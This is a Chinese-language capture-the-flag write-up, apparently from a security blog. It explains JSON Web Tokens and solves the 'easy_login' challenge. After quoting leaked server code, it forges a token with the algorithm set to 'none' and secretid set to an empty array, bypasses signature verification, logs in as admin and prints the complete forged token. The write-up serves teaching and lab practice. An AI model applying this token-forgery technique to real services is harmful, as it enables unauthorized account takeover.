从hfctf学习JWT伪造

本文作者:Ch3ng

 

easy_login

简单介绍一下什么是JWT


 

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

实际像这么一段数据

从hfctf学习JWT伪造323.png

这串数据以(.)作为分隔符分为三个部分,依次如下:

l Header

 

1
2
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 解码为 {   "alg": "HS256",   "typ": "JWT" }
alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT

 

 

l Payload

 

1
2
3
4
5
6
7
8
9
10
11
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
解码为
 {   "sub": "1234567890",   "name": "John Doe",   "iat": 1516239022 }
JWT 规定了7个官方字段,供选用
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号

 

 

l Signature

Signature 部分是对前两部分的签名,防止数据篡改。

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

 

1
HMACSHA256(   base64UrlEncode(header) + "." +   base64UrlEncode(payload),   secret )

 

 算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。

 

JWT安全问题一般有以下

1. 修改算法为none

2. 修改算法从RS256到HS256

3. 信息泄漏 密钥泄漏

4. 爆破密钥

首先是一个登录框,我们先注册一个账号admin123,admin123

从hfctf学习JWT伪造1229.png

看题目意思应该是想办法变成admin来登录

 

查看前端代码js/app.js

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
1./**
2. *  或许该用 koa-static 来处理静态文件
3. *  路径该怎么配置?不管了先填个根目录XD
4. */ 
5. 
6.function login() { 
7.    const username = $("#username").val(); 
8.    const password = $("#password").val(); 
9.    const token = sessionStorage.getItem("token"); 
10.    $.post("/api/login", {username, password, authorization:token}) 
11.        .done(function(data) { 
12.            const {status} = data; 
13.            if(status) { 
14.                document.location = "/home"
15.            } 
16.        }) 
17.        .fail(function(xhr, textStatus, errorThrown) { 
18.            alert(xhr.responseJSON.message); 
19.        }); 
20.} 
21. 
22.function register() { 
23.    const username = $("#username").val(); 
24.    const password = $("#password").val(); 
25.    $.post("/api/register", {username, password}) 
26.        .done(function(data) { 
27.            const { token } = data; 
28.            sessionStorage.setItem('token', token); 
29.            document.location = "/login"
30.        }) 
31.        .fail(function(xhr, textStatus, errorThrown) { 
32.            alert(xhr.responseJSON.message); 
33.        }); 
34.} 
35. 
36.function logout() { 
37.    $.get('/api/logout').done(function(data) { 
38.        const {status} = data; 
39.        if(status) { 
40.            document.location = '/login'
41.        } 
42.    }); 
43.} 
44. 
45.function getflag() { 
46.    $.get('/api/flag').done(function(data) { 
47.        const {flag} = data; 
48.        $("#username").val(flag); 
49.    }).fail(function(xhr, textStatus, errorThrown) { 
50.        alert(xhr.responseJSON.message); 
51.    }); 
52.} 

 

 

根据注释符提示可以发现存在源码泄露问题

接着发现了源码泄漏

访问app.js,controller.js,rest.js即可得到源代码

关键代码controllers/api.js

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
1.const crypto = require('crypto'); 
2. 
3.const fs = require('fs'
4. 
5.const jwt = require('jsonwebtoken'
6. 
7. 
8.const APIError = require('../rest').APIError; 
9. 
10. 
11.module.exports = { 
12. 
13.    'POST /api/register': async (ctx, next) => { 
14. 
15.        const {username, password} = ctx.request.body; 
16. 
17. 
18.        if(!username || username === 'admin'){ 
19. 
20.            throw new APIError('register error', 'wrong username'); 
21. 
22.        } 
23. 
24. 
25.        if(global.secrets.length > 100000) { 
26. 
27.            global.secrets = []; 
28. 
29.        } 
30. 
31. 
32.        const secret = crypto.randomBytes(18).toString('hex'); 
33. 
34.        const secretid = global.secrets.length; 
35. 
36.        global.secrets.push(secret) 
37. 
38. 
39.        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); 
40. 
41.         
42. 
43.        ctx.rest({ 
44. 
45.            token: token 
46. 
47.        }); 
48. 
49. 
50.        await next(); 
51. 
52.    }, 
53. 
54.     
55. 
56.    'POST /api/login': async (ctx, next) => { 
57. 
58.        const {username, password} = ctx.request.body; 
59. 
60. 
61.        if(!username || !password) { 
62. 
63.            throw new APIError('login error', 'username or password is necessary'); 
64. 
65.        } 
66. 
67.         
68. 
69.        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; 
70. 
71. 
72.        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; 
73. 
74.         
75. 
76.        console.log(sid) 
77. 
78. 
79.        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { 
80. 
81.            throw new APIError('login error', 'no such secret id'); 
82. 
83.        } 
84. 
85. 
86.        const secret = global.secrets[sid]; 
87. 
88. 
89.        const user = jwt.verify(token, secret, {algorithm: 'HS256'}); 
90. 
91. 
92.        const status = username === user.username && password === user.password; 
93. 
94. 
95.        if(status) { 
96. 
97.            ctx.session.username = username; 
98. 
99.        } 
100. 
101. 
102.        ctx.rest({ 
103. 
104.            status 
105. 
106.        }); 
107. 
108. 
109.        await next(); 
110. 
111.    }, 
112. 
113. 
114.    'GET /api/flag': async (ctx, next) => { 
115. 
116.        if(ctx.session.username !== 'admin'){ 
117. 
118.            throw new APIError('permission error', 'permission denied'); 
119. 
120.        } 
121. 
122. 
123.        const flag = fs.readFileSync('/flag').toString(); 
124. 
125.        ctx.rest({ 
126. 
127.            flag 
128. 
129.        }); 
130. 
131. 
132.        await next(); 
133. 
134.    }, 
135. 
136. 
137.    'GET /api/logout': async (ctx, next) => { 
138. 
139.        ctx.session.username = null
140. 
141.        ctx.rest({ 
142. 
143.            status: true 
144. 
145.        }) 
146. 
147.        await next(); 
148. 
149.    } 
150. 
151.}; 

 

 

尝试注册,可以看到在注册的时候生成了一个token,并存在sessionStorage中

从hfctf学习JWT伪造5619.png

得到:

 

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q

 

解密得到:

从hfctf学习JWT伪造5813.png

token生成过程

 

1
2
3
4
1.const secret = crypto.randomBytes(18).toString('hex'); 
2.const secretid = global.secrets.length; 
3.global.secrets.push(secret) 
4.const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}

 

 

看看各种条件,这里会先对sid进行验证,我们需要绕过这条认证,下面还有一个jwt.verify()的验证并赋值给user

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; 
2.console.log(sid) 
3.if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { 
4.    throw new APIError('login error', 'no such secret id'); 
5.} 
6.const secret = global.secrets[sid]; 
7.const user = jwt.verify(token, secret, {algorithm: 'HS256'}); 
8.const status = username === user.username && password === user.password; 
9...... 
10..... 
11.'GET /api/flag': async (ctx, next) => { 
12.    if(ctx.session.username !== 'admin'){ 
13.        throw new APIError('permission error', 'permission denied'); 
14.    } 

 

 

这里的密钥是生成了18位,基本没有爆破的可能性,我们使用的方法是将算法(alg)设置为none,接着我们需要让jwt.verify()验证中的secret为空,这里有个tricks

222.jpg

再看看能不能过条件

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
运行结果

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1. > sid < secrets.length 
2. true 
3. > sid >= 0 
4. true 
我们将header修改
1. 原:
2. { 
3.   "alg": "HS256"
4.   "typ": "JWT" 
5. } 
6. ===> 
7. { 
8.   "alg": "none"
9.   "typ": "JWT" 
10. } 
11. 并加密为
12. eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 
修改payload
1. { 
2.   "secretid": 1, 
3.   "username": "admin123"
4.   "password": "admin123"
5.   "iat": 1587378820 
6. } 
7. ===> 
8. { 
9.   "secretid": [], 
10.   "username": "admin"
11.   "password": "admin123"
12.   "iat": 1587378820 
13. } 
14. 并加密为
15. eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ

 

 

 

最后使用(.)进行拼接得到伪造的token

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.

修改sessionStorage

从hfctf学习JWT伪造7785.png

接着使用admin,admin123登录访问api/flag,即可得到flag

从hfctf学习JWT伪造7827.png

参考:

https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

https://jwt.io/

posted @   蚁景网安实验室  阅读(2013)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示